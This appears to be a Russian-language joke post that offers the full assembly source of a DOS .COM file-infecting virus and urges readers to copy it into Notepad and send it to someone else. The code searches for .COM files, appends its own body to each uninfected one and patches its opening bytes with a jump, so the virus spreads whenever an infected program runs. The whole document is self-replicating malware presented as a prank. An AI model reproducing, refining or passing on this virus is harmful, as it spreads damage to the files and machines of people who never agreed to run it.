Скачай вирус прикол: скапируй его в блокнок и отошли другому
start:
jmp virusstart
mov ah,09h
int 21h
mov ax,4C00h
int 21h
Message db 'This is little infection... He-he...',13,10,'$'
virusstart:
pushf
push ax
push bx
push cx
push dx
push ds
push es
push si
call SelfPoint
SelfPoint:
pop si
cld
push cs
pop ds
push cs
pop es
mov di,0100h
push si
add si,original-SelfPoint
mov cx,3
rep movsb
pop si
mov ah,1Ah
mov dx,si
add dx,VirusDTA-SelfPoint
int 21h
mov ah,4Eh
mov dx,si
add dx,FileMask-SelfPoint
mov cx,32
int 21h
jnc RepeatOpen
jmp OutVirus
RepeatOpen:
mov ax,3D02h
mov dx,si
add dx,NameF-SelfPoint
int 21h
jc OutVirus
mov bx,ax
mov ah,3Fh
mov dx,si
add dx,Original-SelfPoint
mov cx,3
int 21h
jc OutVirus
push bx
mov bx,dx
cmp byte ptr [bx],'щ'
pop bx
je CloseNotInfect
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
jc OutVirus
push ax
mov ah,40h
mov dx,si
sub dx,SelfPoint-VirusStart
mov cx,VirusEnd-VirusStart
int 21h
pop ax
jc OutVirus
sub ax,3
push bx
mov bx,si
sub bx,SelfPoint-VirusStart
mov word ptr cs:[bx+1],ax
mov byte ptr [bx],'щ'
pop bx
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
jc OutVirus
mov ah,40h
mov dx,si
sub dx,SelfPoint-VirusStart
mov cx,3
int 21h
jc OutVirus
mov ah,3Eh
int 21h
jmp OutVirus
CloseNotInfect:
mov ah,3Eh
int 21h
mov dx,si
add dx,FileMask-SelfPoint
mov ah,4Fh
int 21h
jc OutVirus
jmp RepeatOpen
OutVirus:
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
mov si,0100h
push si
ret
VirusDTA db 30 dup (0)
NameF db 13 dup (0)
FileMask db '*.cOm',(0)
original:
mov dx,offset Message
VirusEnd:
end start